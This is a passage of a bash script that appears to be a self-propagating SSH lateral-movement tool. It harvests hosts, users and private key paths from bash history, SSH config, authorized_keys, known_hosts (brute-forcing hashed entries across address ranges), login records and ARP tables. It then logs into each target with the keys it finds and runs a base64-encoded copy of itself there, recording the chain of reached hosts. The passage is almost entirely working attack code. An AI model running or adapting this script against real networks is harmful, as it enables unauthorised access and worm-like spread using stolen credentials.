|
add_ssh_dest "$home_user@$ssh_host" && cached_ssh_user="$home_user" && cached_ssh_host="$ssh_host"
|
|
fi
|
|
[[ "$bash_history_line" == "rsync "* ]] && continue
|
|
read -ra tokens < <(printf "%s" "$bash_history_line")
|
|
for ((i=0; i<${#tokens[@]}; i++)); do
|
|
local token
|
|
[[ -n "$cached_ssh_user" && -n "$cached_ssh_host" ]] && [[ "$bash_history_line" != *" -i"* || -n "$cached_ssh_key" ]] && break
|
|
[[ -n "$cached_ssh_host" && -z "$cached_ssh_user" && "$bash_history_line" != *" -l"* ]] && [[ "$bash_history_line" != *" -i"* || -n "$cached_ssh_key" ]] && break
|
|
token="${tokens[$i]}"
|
|
[[ "$token" == "ssh" ]] && continue
|
|
[[ "$token" == "scp" ]] && continue
|
|
if [[ "$token" == "-i"* ]]; then
|
|
local key_file
|
|
if [[ ${#token} -gt 2 ]]; then
|
|
key_file="${token:2}"
|
|
elif [[ $((i+1)) -lt ${#tokens[@]} ]]; then
|
|
key_file="${tokens[$i+1]}"
|
|
else
|
|
continue
|
|
fi
|
|
check_potential_key_files "$key_file" "$home_folder" && cached_ssh_key="$key_file"
|
|
elif [[ "$token" == "-l"* ]]; then
|
|
local ssh_user
|
|
if [[ ${#token} -gt 2 ]]; then
|
|
ssh_user="${token:2}"
|
|
elif [[ $((i+1)) -lt ${#tokens[@]} ]]; then
|
|
ssh_host="${tokens[$i+1]}"
|
|
else
|
|
continue
|
|
fi
|
|
[[ -z "$cached_ssh_user" ]] && add_ssh_user "$ssh_user" && cached_ssh_user="$ssh_user"
|
|
else
|
|
[[ "$token" == "-"* ]] && continue
|
|
[[ $i -gt 0 ]] || continue
|
|
local prev_token
|
|
local prev_prev_token
|
|
prev_token="${tokens[$i-1]}"
|
|
[[ $i -gt 1 ]] && prev_prev_token="${tokens[$i-2]}"
|
|
[[ "$bash_history_line" == "ssh "* ]] || continue
|
|
if [[ "$prev_token" == "-"* ]]; then
|
|
if [[ "$prev_token" =~ ^-[46AaCfGgKkMNnqsTtVvXxYy]*$ || ${#prev_token} -gt 2 ]]; then
|
|
local ssh_host
|
|
ssh_host="$token"
|
|
[[ -z "$cached_ssh_host" ]] && add_ssh_host "$ssh_host" && cached_ssh_host="$ssh_host"
|
|
fi
|
|
elif [[ "$prev_token" == "ssh" ]]; then
|
|
local ssh_host
|
|
local ssh_user
|
|
ssh_host="$token"
|
|
[[ -z "$cached_ssh_host" ]] && add_ssh_host "$ssh_host" && cached_ssh_host="$ssh_host"
|
|
elif [[ $i -gt 1 && "$prev_prev_token" == "-"* ]] && [[ ! "$prev_prev_token" =~ ^-[46AaCfGgKkMNnqsTtVvXxYy]*$ && ! ${#prev_prev_token} -gt 2 ]]; then
|
|
local ssh_host
|
|
ssh_host="$token"
|
|
[[ -z "$cached_ssh_host" ]] && add_ssh_host "$ssh_host" && cached_ssh_host="$ssh_host"
|
|
elif [[ $i -gt 1 && "${prev_prev_token:0:1}" != "-" && "${prev_token:0:1}" != "-" ]]; then
|
|
break
|
|
else
|
|
break
|
|
fi
|
|
fi
|
|
done
|
|
[[ -z "$cached_ssh_user" ]] && add_ssh_user "$home_user" && cached_ssh_user="$home_user"
|
|
[[ -n "$cached_ssh_user" && -n "$cached_ssh_host" ]] && add_ssh_dest "$cached_ssh_user@$cached_ssh_host"
|
|
done < <(${s} grep -E '^(ssh|scp|rsync) ' -- "$home_file" | sort -u)
|
|
done
|
|
}
|
|
find_from_ssh_config() {
|
|
local home_folder
|
|
for home_folder in "${!home_folders[@]}"; do
|
|
local ssh_file
|
|
local home_user
|
|
is_dir "$home_folder/.ssh" || continue
|
|
home_user="$(basename -- "$home_folder")"
|
|
while IFS= read -r ssh_file; do
|
|
is_file "$ssh_file" || continue
|
|
local cline
|
|
while IFS= read -r cline; do
|
|
local cline_val
|
|
local cline_key
|
|
cline_val="$(echo "$cline" | awk '{print $NF}')"
|
|
cline_key="$(echo "$cline" | awk '{print $1}')"
|
|
cline_key="${cline_key,,}"
|
|
[[ -z "$cline_val" ]] && continue
|
|
[[ -z "$cline_key" ]] && continue
|
|
case "$cline_key" in
|
|
"host")
|
|
add_ssh_host "$cline_val"
|
|
[[ -n "$home_user" ]] && add_ssh_dest "$home_user@$cline_val"
|
|
;;
|
|
"hostname")
|
|
add_ssh_host "$cline_val"
|
|
[[ -n "$home_user" ]] && add_ssh_dest "$home_user@$cline_val"
|
|
;;
|
|
"user")
|
|
add_ssh_user "$cline_val"
|
|
;;
|
|
"identityfile")
|
|
check_potential_key_files "$cline_val" "$home_folder"
|
|
;;
|
|
esac
|
|
done < <(${s} grep -iE 'Host|HostName|User|IdentityFile' -- "$ssh_file" | sort -u)
|
|
done < <(${s} find "$home_folder/.ssh" -type f -readable 2>/dev/null)
|
|
done
|
|
}
|
|
find_user_from_file() {
|
|
local home_folder
|
|
for home_folder in "${!home_folders[@]}"; do
|
|
if [[ "$1" == "$home_folder"* ]]; then
|
|
basename -- "$home_folder"
|
|
return
|
|
fi
|
|
done
|
|
}
|
|
find_from_authorized_keys() {
|
|
local ssh_file
|
|
for ssh_file in "${!ssh_files[@]}"; do
|
|
local ssh_address
|
|
local home_user
|
|
[[ -z "$ssh_file" ]] && continue
|
|
home_user="$(find_user_from_file "$ssh_file")"
|
|
while IFS= read -r ssh_address; do
|
|
local ssh_host
|
|
[[ -z "$ssh_address" ]] && continue
|
|
while IFS= read -r ssh_host; do
|
|
add_ssh_host "$ssh_host"
|
|
[[ -n "$home_user" ]] && add_ssh_dest "$home_user@$ssh_host"
|
|
done < <(echo "$ssh_address" | awk -F"\\\'|\\\"" '{print $2}' | tr ',' '\n' | sort -u)
|
|
done < <(${s} grep -F 'from=' -- "$ssh_file" | awk -F"\\\'|\\\"" '{print $2}' | tr ',' '\n' | sort -u)
|
|
done
|
|
}
|
|
find_from_last() {
|
|
local ssh_dest
|
|
command -v "last" >/dev/null 2>&1 || return
|
|
last -aiw >/dev/null 2>&1 || return
|
|
while IFS= read -r ssh_dest; do
|
|
add_ssh_dest "$ssh_dest"
|
|
done < <(last -aiw 2>/dev/null | grep -v reboot | awk '/\./ {print $1":"$NF}' | sort -u)
|
|
}
|
|
find_from_known_hosts() {
|
|
local ssh_file
|
|
for ssh_file in "${!ssh_files[@]}"; do
|
|
local known_host_line
|
|
local home_user
|
|
home_user="$(find_user_from_file "$ssh_file")"
|
|
while IFS= read -r known_host_line; do
|
|
local ssh_host
|
|
local ssh_user
|
|
local ssh_dest
|
|
[[ -z "$known_host_line" ]] && continue
|
|
ssh_user="$(echo "$known_host_line" | grep -F -m 1 '@' | awk -F"@" '{print $1}')"
|
|
ssh_host="$(echo "$known_host_line" | grep -F -m 1 -v '@')"
|
|
ssh_dest="$(echo "$known_host_line" | grep -m 1 -oE "$allowed_users_chars"'@[^ :]+')"
|
|
add_ssh_user "$ssh_user"
|
|
add_ssh_host "$ssh_host"
|
|
add_ssh_dest "$ssh_dest"
|
|
[[ -n "$home_user" && -n "$ssh_host" ]] && add_ssh_dest "$home_user@$ssh_host"
|
|
done < <(${s} "${sshkeygen[@]}" "$ssh_file" 2>/dev/null | grep -F -v '|1|' | tr '[:upper:]' '[:lower:]' | grep -oE ':[a-z0-9]{2} .*' | awk '{print $2}' | sort -u)
|
|
done
|
|
}
|
|
find_from_hosts() {
|
|
local ssh_host
|
|
while IFS= read -r ssh_host; do
|
|
add_ssh_host "$ssh_host"
|
|
done < <(getent ahostsv4 2>/dev/null | awk -F" " '{print $NF}' | tr ' ' '\n' | sort -u)
|
|
}
|
|
find_arp_neighbours() {
|
|
local ssh_host
|
|
while IFS= read -r ssh_host; do
|
|
add_ssh_host "$ssh_host"
|
|
done < <(ip neigh 2>/dev/null | awk '$1 !~ /(\.1$|:)/ {print $1}' | sort -u)
|
|
}
|
|
find_d_block() {
|
|
local octets
|
|
local i
|
|
local current_ip
|
|
for current_ip in "${!current_ips[@]}"; do
|
|
IFS='.' read -ra octets < <(echo "$current_ip")
|
|
[[ ${#octets[@]} -eq 4 ]] || continue
|
|
for ((i=0; i<256; i++)); do
|
|
add_ssh_host "${octets[0]}.${octets[1]}.${octets[2]}.$i"
|
|
done
|
|
done
|
|
}
|
|
find_from_prev_dest() {
|
|
local chain_sl_dest
|
|
local ssh_user
|
|
local ssh_host
|
|
chain_sl_dest="${hosts_chain%[*}"
|
|
chain_sl_dest="${chain_sl_dest##*->}"
|
|
add_ssh_dest "$chain_sl_dest"
|
|
add_ssh_dest "$this_dest"
|
|
[[ -z "$SSH_CONNECTION" ]] && return
|
|
ssh_host="${SSH_CONNECTION%% *}"
|
|
add_ssh_host "$ssh_host"
|
|
}
|
|
find_from_ignore_list() {
|
|
local ssh_dest
|
|
for ssh_dest in "${!ignore_list_array[@]}"; do
|
|
add_ssh_dest "$ssh_dest"
|
|
done
|
|
}
|
|
find_from_hashed_known_hosts() {
|
|
local octets
|
|
local ssh_file
|
|
local current_ip
|
|
for ssh_file in "${!ssh_files[@]}"; do
|
|
local hashed_number
|
|
local home_user
|
|
local ssh_host
|
|
local i
|
|
local j
|
|
local ss
|
|
[[ -z "$ssh_file" ]] && continue
|
|
ss=""
|
|
[[ ! -r "$ssh_file" ]] && ss="$s"
|
|
home_user="$(find_user_from_file "$ssh_file")"
|
|
hashed_number="$(${ss} "${sshkeygen[@]}" "$ssh_file" 2>/dev/null | grep -Ec ':[a-zA-Z0-9]{2} \|1\|')"
|
|
[[ $hashed_number -lt 1 ]] && continue
|
|
for ssh_host in "${!ssh_hosts[@]}"; do
|
|
local found_hosts_count
|
|
found_hosts_count=0
|
|
[[ $hashed_number -lt 1 ]] && break
|
|
found_hosts_count="$(${ss} "${sshkeygen[@]}" "$ssh_file" -F "$ssh_host" 2>/dev/null | grep -cE 'Host .* found')" && ((hashed_number -= found_hosts_count)) && [[ -n "$home_user" ]] && add_ssh_dest "$home_user@$ssh_host"
|
|
done
|
|
[[ $hashed_number -lt 1 ]] && continue
|
|
for ssh_dest in "${!ignore_list_array[@]}"; do
|
|
local found_hosts_count
|
|
found_hosts_count=0
|
|
[[ $hashed_number -lt 1 ]] && break
|
|
ssh_host="${ssh_dest#*@}"
|
|
found_hosts_count="$(${ss} "${sshkeygen[@]}" "$ssh_file" -F "$ssh_host" 2>/dev/null | grep -cE 'Host .* found')" && ((hashed_number -= found_hosts_count)) && [[ -n "$home_user" ]] && add_ssh_dest "$home_user@$ssh_host"
|
|
done
|
|
[[ $hashed_number -lt 1 ]] && continue
|
|
for current_ip in "${!current_ips[@]}"; do
|
|
[[ $hashed_number -lt 1 ]] && break
|
|
IFS='.' read -ra octets < <(echo "$current_ip")
|
|
[[ ${#octets[@]} -eq 4 ]] || continue
|
|
if command -v "xargs" >/dev/null 2>&1; then
|
|
for i in {0..255}; do
|
|
[[ $hashed_number -lt 1 ]] && break
|
|
while IFS= read -r ssh_host; do
|
|
ssh_host="${ssh_host#*Host }"
|
|
ssh_host="${ssh_host%% found*}"
|
|
add_ssh_host "$ssh_host"
|
|
((hashed_number--))
|
|
[[ -n "$home_user" ]] && add_ssh_dest "$home_user@$ssh_host"
|
|
done < <(
|
|
for j in {0..255}; do
|
|
echo "${octets[0]}.${octets[1]}.$j.$i"
|
|
done | xargs -P 0 -n 1 ${ss} ssh-keygen -f "$ssh_file" -F 2>/dev/null | grep -F '# Host')
|
|
done
|
|
else
|
|
for ((i=0; i<256; i++)); do
|
|
[[ $hashed_number -lt 1 ]] && break
|
|
for ((j=0; j<256; j++)); do
|
|
local found_hosts_count
|
|
found_hosts_count=0
|
|
[[ $hashed_number -lt 1 ]] && break
|
|
ssh_host="${octets[0]}.${octets[1]}.$i.$j"
|
|
[[ -v 'ssh_hosts["$ssh_host"]' || ${#ssh_hosts["$ssh_host"]} -gt 0 ]] && continue
|
|
found_hosts_count="$(${ss} "${sshkeygen[@]}" "$ssh_file" -F "$ssh_host" 2>/dev/null | grep -cE 'Host .* found')" && ((hashed_number -= found_hosts_count)) && [[ -n "$home_user" ]] && add_ssh_dest "$home_user@$ssh_host"
|
|
done
|
|
done
|
|
fi
|
|
done
|
|
done
|
|
}
|
|
find_all() {
|
|
retry_all_dests
|
|
find_home_folders
|
|
init_ssh_files
|
|
find_ssh_keys
|
|
find_ssh_keys_paths
|
|
find_from_bash_history
|
|
find_from_ssh_config
|
|
(( ${#priv_keys[@]} )) || fin
|
|
find_from_authorized_keys
|
|
find_from_last
|
|
find_from_known_hosts
|
|
find_from_hosts
|
|
find_arp_neighbours
|
|
find_d_block
|
|
find_from_prev_dest
|
|
find_from_ignore_list
|
|
find_from_hashed_known_hosts
|
|
}
|
|
combinate_users_hosts_aggressive() {
|
|
local ssh_user
|
|
local ssh_host
|
|
for ssh_host in "${interesting_hosts[@]}"; do
|
|
add_ssh_host "$ssh_host"
|
|
done
|
|
for ssh_user in "${interesting_users[@]}"; do
|
|
add_ssh_user "$ssh_user"
|
|
done
|
|
for ssh_dest in "${interesting_dests[@]}"; do
|
|
add_ssh_dest "$ssh_dest"
|
|
done
|
|
for ssh_host in "${!ssh_hosts[@]}"; do
|
|
for ssh_user in "${!ssh_users[@]}"; do
|
|
add_ssh_dest "$ssh_user@$ssh_host"
|
|
done
|
|
done
|
|
}
|
|
combinate_interesting_users_hosts() {
|
|
local ssh_user
|
|
local ssh_host
|
|
for ssh_dest in "${interesting_dests[@]}"; do
|
|
add_ssh_dest "$ssh_dest"
|
|
done
|
|
for ssh_user in "${interesting_users[@]}"; do
|
|
add_ssh_user "$ssh_user"
|
|
for ssh_host in "${!ssh_hosts[@]}"; do
|
|
add_ssh_dest "$ssh_user@$ssh_host"
|
|
done
|
|
done
|
|
for ssh_host in "${interesting_hosts[@]}"; do
|
|
add_ssh_host "$ssh_host"
|
|
for ssh_user in "${!ssh_users[@]}"; do
|
|
add_ssh_dest "$ssh_user@$ssh_host"
|
|
done
|
|
done
|
|
for ssh_host in "${interesting_hosts[@]}"; do
|
|
for ssh_user in "${interesting_users[@]}"; do
|
|
add_ssh_dest "$ssh_user@$ssh_host"
|
|
done
|
|
done
|
|
}
|
|
deduplicate_resolved_hosts_keys() {
|
|
local ssh_dest
|
|
declare -A valid_ssh_dests
|
|
declare -A resolved_hosts
|
|
for ssh_dest in "${!ssh_dests[@]}"; do
|
|
local ssh_host
|
|
is_ssh_dest "$ssh_dest" || continue
|
|
ssh_host="${ssh_dest#*@}"
|
|
[[ -v 'resolved_hosts["$ssh_host"]' || ${#resolved_hosts["$ssh_host"]} -gt 0 ]] && continue
|
|
resolved_hosts["$ssh_host"]=1
|
|
(getent ahostsv4 -- "$ssh_host" > /dev/null 2>&1 &)
|
|
done
|
|
wait
|
|
resolved_hosts=()
|
|
for ssh_dest in "${!ssh_dests[@]}"; do
|
|
local ssh_user
|
|
local ssh_host
|
|
local resolved_ssh_host
|
|
ssh_dest="${ssh_dest,,}"
|
|
is_ssh_dest "$ssh_dest" || continue
|
|
ssh_user="${ssh_dest%%@*}"
|
|
ssh_host="${ssh_dest#*@}"
|
|
if [[ -v 'resolved_hosts["$ssh_host"]' || ${#resolved_hosts["$ssh_host"]} -gt 0 ]]; then
|
|
resolved_ssh_host="${resolved_hosts["$ssh_host"]}"
|
|
else
|
|
resolved_ssh_host="$(getent ahostsv4 -- "$ssh_host" 2>/dev/null)"
|
|
resolved_ssh_host="${resolved_ssh_host%% *}"
|
|
if [[ "${resolved_ssh_host:0:1}" =~ [12] ]]; then
|
|
[[ "$resolved_ssh_host" =~ ^127\. ]] && resolved_ssh_host="127.0.0.1"
|
|
resolved_hosts["$ssh_host"]="$resolved_ssh_host"
|
|
else
|
|
_ignored_hosts["$ssh_host"]=1
|
|
[[ -n "$resolved_ssh_host" ]] && _ignored_hosts["$resolved_ssh_host"]=1
|
|
continue
|
|
fi
|
|
fi
|
|
[[ -v '_ignored_hosts["$resolved_ssh_host"]' || ${#_ignored_hosts["$resolved_ssh_host"]} -gt 0 ]] && _ignored_hosts["$ssh_host"]=1
|
|
valid_ssh_dests["$ssh_user@$resolved_ssh_host"]=1
|
|
done
|
|
ssh_dests=()
|
|
for ssh_dest in "${!valid_ssh_dests[@]}"; do
|
|
add_ssh_dest "$ssh_dest"
|
|
done
|
|
}
|
|
is_file() {
|
|
local filename
|
|
filename="$1"
|
|
[[ -v 'files["$filename"]' || ${#files["$filename"]} -gt 0 ]] && return 0
|
|
[[ -v 'not_files["$filename"]' || ${#not_files["$filename"]} -gt 0 ]] && return 1
|
|
${s} test -s "$filename" && ${s} test -r "$filename" && ${s} test -f "$filename" && files["$filename"]=1 && return 0
|
|
not_files["$filename"]=1
|
|
return 1
|
|
}
|
|
is_dir() {
|
|
local dir_name
|
|
dir_name="$1"
|
|
[[ -v 'folders["$dir_name"]' || ${#folders["$dir_name"]} -gt 0 ]] && return 0
|
|
[[ -v 'not_folders["$dir_name"]' || ${#not_folders["$dir_name"]} -gt 0 ]] && return 1
|
|
${s} test -d "$dir_name" && ${s} test -r "$dir_name" && folders["$dir_name"]=1 && return 0
|
|
not_folders["$dir_name"]=1
|
|
return 1
|
|
}
|
|
is_ssh_user() {
|
|
local ssh_user
|
|
ssh_user="$1"
|
|
[[ -z "$ssh_user" ]] && return 1
|
|
[[ -v '_ignored_users["$ssh_user"]' || ${#_ignored_users["$ssh_user"]} -gt 0 ]] && return 1
|
|
[[ -v 'ssh_users["$ssh_user"]' || ${#ssh_users["$ssh_user"]} -gt 0 ]] && return 0
|
|
[[ "$ssh_user" =~ ^$allowed_users_chars$ ]] || return 1
|
|
return 0
|
|
}
|
|
is_ssh_host() {
|
|
local ssh_host
|
|
ssh_host="$1"
|
|
[[ -z "$ssh_host" ]] && return 1
|
|
[[ -v '_ignored_hosts["$ssh_host"]' || ${#_ignored_hosts["$ssh_host"]} -gt 0 ]] && return 1
|
|
[[ -v 'ssh_hosts["$ssh_host"]' || ${#ssh_hosts["$ssh_host"]} -gt 0 ]] && return 0
|
|
[[ "$ssh_host" =~ ^$allowed_host_chars+$ ]] || return 1
|
|
[[ "${ssh_host:0:1}" == "-" || "${ssh_host:0-1}" == "-" || "${ssh_host:0:1}" == "." || "${ssh_host:0-1}" == "." || "$ssh_host" == *"-."* || "$ssh_host" == *"--"* ]] && return 1
|
|
return 0
|
|
}
|
|
is_ssh_dest() {
|
|
local ssh_user
|
|
local ssh_host
|
|
local ssh_dest
|
|
ssh_dest="$1"
|
|
[[ -z "$ssh_dest" ]] && return 1
|
|
[[ -v '_ignored_dests["$ssh_dest"]' || ${#_ignored_dests["$ssh_dest"]} -gt 0 ]] && return 1
|
|
ssh_user="${ssh_dest%%@*}"
|
|
ssh_host="${ssh_dest#*@}"
|
|
is_ssh_host "$ssh_host" && is_ssh_user "$ssh_user" && return 0
|
|
return 1
|
|
}
|
|
add_ssh_user() {
|
|
local ssh_user
|
|
ssh_user="$1"
|
|
is_ssh_user "$ssh_user" && ssh_users["$ssh_user"]=1 && return 0
|
|
return 1
|
|
}
|
|
add_ssh_host() {
|
|
local ssh_host
|
|
ssh_host="$1"
|
|
is_ssh_host "$ssh_host" && ssh_hosts["$ssh_host"]=1 && return 0
|
|
return 1
|
|
}
|
|
add_ssh_dest() {
|
|
local ssh_dest
|
|
local ssh_host
|
|
local ssh_user
|
|
ssh_dest="$1"
|
|
ssh_user="${ssh_dest%%@*}"
|
|
ssh_host="${ssh_dest#*@}"
|
|
is_ssh_dest "$ssh_dest" && ssh_dests["$ssh_dest"]=1 && ssh_hosts["$ssh_host"]=1 && ssh_users["$ssh_user"]=1 && return 0
|
|
return 1
|
|
}
|
|
rs_chained_print() {
|
|
printf "%s%*s%s->%s\n" "$indent" 1 "" "$1" "$2"
|
|
}
|
|
double_rs_chained_print() {
|
|
rs_chained_print "$1" "$3"
|
|
rs_chained_print "$2" "($3)"
|
|
}
|
|
recursive_scan() {
|
|
declare -A retry_dests
|
|
declare -A retry_keys
|
|
local ssh_dest
|
|
local priv_key
|
|
local key_file
|
|
for ssh_dest in "${!ssh_dests[@]}"; do
|
|
local ssh_user
|
|
local ssh_host
|
|
ssh_user="${ssh_dest%%@*}"
|
|
ssh_host="${ssh_dest#*@}"
|
|
is_ssh_user "$ssh_user" || continue
|
|
is_ssh_host "$ssh_host" || continue
|
|
for priv_key in "${!priv_keys[@]}"; do
|
|
local t_hosts_chain
|
|
local t_hostnames_chain
|
|
local skip_this_dest
|
|
local line
|
|
local line_num
|
|
key_file="${priv_keys["$priv_key"]}"
|
|
[[ -v '_ignored_key_files["$key_file"]' || ${#_ignored_key_files["$key_file"]} -gt 0 ]] && continue
|
|
t_hosts_chain="${hosts_chain}[${s:+!}${key_file}]"
|
|
t_hostnames_chain="${hostnames_chain}[${s:+!}${key_file}]"
|
|
skip_this_dest=0
|
|
line_num=0
|
|
while IFS= read -r line; do
|
|
((line_num++))
|
|
if [[ "$line" == *"resolve hostname"* || "$line" == *"connect to "* ]]; then
|
|
_ignored_hosts["$ssh_host"]=1
|
|
skip_this_dest=1
|
|
break
|
|
fi
|
|
if [[ "$line" == *"Argument list too long"* ]]; then
|
|
double_rs_chained_print "$t_hosts_chain" "$t_hostnames_chain" "$ssh_dest"
|
|
rs_chained_print "$t_hosts_chain" "$ssh_dest [ARG_LIMIT:$(getconf -a | awk '/ARG_MAX/{print $NF; exit}'), $(printf "%s" "$ignore_list" | base64 | tr -d '\n')]"
|
|
printf "INTERNAL_MSG: ARG_LIMIT\n"
|
|
fin
|
|
fi
|
|
if [[ "$line" == "INTERNAL_MSG: ARG_LIMIT" ]]; then
|
|
printf "INTERNAL_MSG: ARG_LIMIT\n"
|
|
fin
|
|
fi
|
|
if [[ "$line" == *"Warning: Permanently added"* || "$line" == *"Permission denied"* || "$line" == *"contents do not match public"* || "$line" == *"load pubkey"* || "$line" == *"unable to resolve host"* || "$line" == *"warning: setlocale"* || "$line" == *"key_load_public: invalid format"* ]]; then
|
|
continue
|
|
fi
|
|
if [[ "$line" == *"Unable to negotiate with"* ]]; then
|
|
continue
|
|
fi
|
|
if [[ "$line" == "Warning: Identity file"* || "$line" == "Load key"* ]]; then
|
|
_ignored_key_files["$key_file"]=1
|
|
break
|
|
fi
|
|
if [[ "$line" == "INTERNAL_MSG: ignore list: "* ]]; then
|
|
local ignore_new
|
|
ignore_new="${line#*INTERNAL_MSG: ignore list: }"
|
|
if [[ "$ignore_list" != *"$ignore_new"* ]]; then
|
|
ignore_list+="$ignore_new"
|
|
fi
|
|
printf "%s\n" "$line"
|
|
continue
|
|
fi
|
|
if [[ "$line" == "INTERNAL_MSG: command not found: "* ]]; then
|
|
local missing_cmd
|
|
double_rs_chained_print "$t_hosts_chain" "$t_hostnames_chain" "$ssh_dest"
|
|
missing_cmd="${line#*INTERNAL_MSG: command not found: }"
|
|
rs_chained_print "$t_hosts_chain" "$ssh_dest [fail,cmd,$missing_cmd]"
|
|
break
|
|
fi
|
|
if [[ "$line" == *"sh: bash"* ]]; then
|
|
double_rs_chained_print "$t_hosts_chain" "$t_hostnames_chain" "$ssh_dest"
|
|
rs_chained_print "$t_hosts_chain" "$ssh_dest [fail,cmd,bash]"
|
|
break
|
|
fi
|
|
if [[ "$line" == *"Segmentation fault"* || "$line" == *"cannot allocate"* || "$line" == *"core dumped"* ]]; then
|
|
double_rs_chained_print "$t_hosts_chain" "$t_hostnames_chain" "$ssh_dest"
|
|
rs_chained_print "$t_hosts_chain" "$ssh_dest [OoM]"
|
|
break
|
|
fi
|
|
if [[ "$line" == *"This account is currently not available"* ]]; then
|
|
double_rs_chained_print "$t_hosts_chain" "$t_hostnames_chain" "$ssh_dest"
|
|
rs_chained_print "$t_hosts_chain" "$ssh_dest [NoLogin]"
|
|
break
|
|
fi
|
|
if [[ "$line" == "Disallowed command" ]]; then
|
|
double_rs_chained_print "$t_hosts_chain" "$t_hostnames_chain" "$ssh_dest"
|
|
rs_chained_print "$t_hosts_chain" "$ssh_dest [GitLab]"
|
|
break
|
|
fi
|
|
if [[ "$line" == "Invalid command:"* ]]; then
|
|
double_rs_chained_print "$t_hosts_chain" "$t_hostnames_chain" "$ssh_dest"
|
|
rs_chained_print "$t_hosts_chain" "$ssh_dest [GitHub]"
|
|
break
|
|
fi
|
|
if [[ "$line" == *"Broken pipe"* || "$line" == *"Timeout, server"* || "$line" == "Connection to"* || "$line" == "Read from remote host"* || "$line" == *"Connection closed by"* || "$line" == *" timed out"* || "$line" == *"Disconnected from"* || "$line" == *"Connection reset by"* || "$line" == *"closed by remote host"* || "$line" == *"kex_exchange_identification"* || "$line" == *"ssh_exchange_identification"* || "$line" == *"Bad remote protocol version identification"* || "$line" == *"Protocol major versions differ"* ]]; then
|
|
if [[ "$line_num" -le 3 ]]; then
|
|
if [[ "$line" != "Connection closed by"* && "$line" != "Connection to"* && "$line" != *"closed by remote host." ]]; then
|
|
_ignored_hosts["$ssh_host"]=1
|
|
fi
|
|
skip_this_dest=1
|
|
break
|
|
fi
|
|
retry_keys["$priv_key"]="$key_file"
|
|
retry_dests["$ssh_dest"]=1
|
|
rs_chained_print "$t_hosts_chain" "$ssh_dest [ConnErr]"
|
|
break
|
|
fi
|
|
if [[ "$line" == "Please login as the user"* ]]; then
|
|
local aws_ssh_user
|
|
double_rs_chained_print "$t_hosts_chain" "$t_hostnames_chain" "$ssh_dest"
|
|
aws_ssh_user="${line#*\"}"
|
|
aws_ssh_user="${aws_ssh_user%%\"*}"
|
|
if is_ssh_dest "$aws_ssh_user@$ssh_host"; then
|
|
rs_chained_print "$t_hosts_chain" "$ssh_dest [fail,aws,$aws_ssh_user]"
|
|
if [[ ! -v 'ssh_dests["$aws_ssh_user@$ssh_host"]' || ${#ssh_dests["$aws_ssh_user@$ssh_host"]} -eq 0 ]]; then
|
|
retry_dests["$aws_ssh_user@$ssh_host"]=1
|
|
retry_keys["$priv_key"]="$key_file"
|
|
fi
|
|
else
|
|
rs_chained_print "$t_hosts_chain" "$ssh_dest [fail,aws,$line]"
|
|
fi
|
|
break
|
|
fi
|
|
if [[ "$line" == *"$t_hosts_chain"* || "$line" == *"$t_hostnames_chain"* ]]; then
|
|
printf "%s\n" "$line"
|
|
else
|
|
rs_chained_print "$t_hosts_chain" "$ssh_dest [line]: $line"
|
|
fi
|
|
done < <(stdbuf -o0 ${s} ssh "${ssh_options[@]}" -i "$key_file" -- "$ssh_dest" "echo 'printf \"%s\" \$1 | base64 -d | stdbuf -o0 bash --noprofile --norc -s \$1 \$2 \$3 \$4 \$5' | stdbuf -o0 bash --noprofile --norc -s -- '$script' '$(printf "%s" "$t_hosts_chain" | base64 | tr -d '\n')' '$ignore_list' '$ssh_dest' '$(printf "%s" "$t_hostnames_chain" | base64 | tr -d '\n')'" </dev/null 2>&1 | tr -d '\r')
|
|
[[ $skip_this_dest -eq 1 ]] && break
|
|
done
|
|
done
|
|
if [[ $use_find_from_ignore_list -eq 2 ]]; then
|
|
local ssh_dest
|
|
load_ignore_list_array
|
|
for ssh_dest in "${!ignore_list_array[@]}"; do
|
|
[[ -z "$ssh_dest" ]] && continue
|
|
[[ -v 'ssh_dests["$ssh_dest"]' || ${#ssh_dests["$ssh_dest"]} -gt 0 ]] && continue
|
|
retry_dests["$ssh_dest"]=1
|
|
done
|
|
for priv_key in "${!priv_keys[@]}"; do
|
|
key_file="${priv_keys["$priv_key"]}"
|
|
retry_keys["$priv_key"]="$key_file"
|
|
done
|
|
fi
|
|
(( ${#retry_dests[@]} )) || return
|
|
(( ${#retry_keys[@]} )) || return
|
|
[[ $retry_count -gt 0 ]] || return
|
|
((retry_count--))
|
|
ssh_dests=()
|
|
priv_keys=()
|
|
for ssh_dest in "${!retry_dests[@]}"; do
|
|
is_ssh_dest "$ssh_dest" && ssh_dests["$ssh_dest"]=1
|
|
done
|
|
for priv_key in "${!retry_keys[@]}"; do
|
|
[[ -v '_ignored_key_files["$priv_key"]' || ${#_ignored_key_files["$priv_key"]} -gt 0 ]] && continue
|
|
priv_keys["$priv_key"]="${retry_keys["$priv_key"]}"
|
|
done
|
|
(( ${#ssh_dests[@]} )) || return
|
|
(( ${#priv_keys[@]} )) || return
|
|
printf "%s%s: EXTERNAL_MSG: INFO: Trying again with %d dests and %s keys (attempts left: %d)\n" "$indent" "$hosts_chain" "${#ssh_dests[@]}" "${#priv_keys[@]}" "$retry_count"
|
|
recursive_scan
|
|
}
|
|
setup
|
|
exec_custom_cmds
|
|
find_all
|
|
combinate_users_hosts_aggressive
|
|
combinate_interesting_users_hosts
|
|
deduplicate_resolved_hosts_keys
|
|
(( ${#ssh_dests[@]} )) || fin
|
|
(( ${#priv_keys[@]} )) || fin
|
|
printf "%s%s: EXTERNAL_MSG: INFO: Beginning with %d dests and %d keys\n" "$indent" "$hosts_chain" "${#ssh_dests[@]}" "${#priv_keys[@]}"
|
|
recursive_scan
|
|
fin
|
|
MAIN_SCRIPT
|
|
)
|
|
printf "%s" "$THIS_SCRIPT" | stdbuf -o0 bash --noprofile --norc
|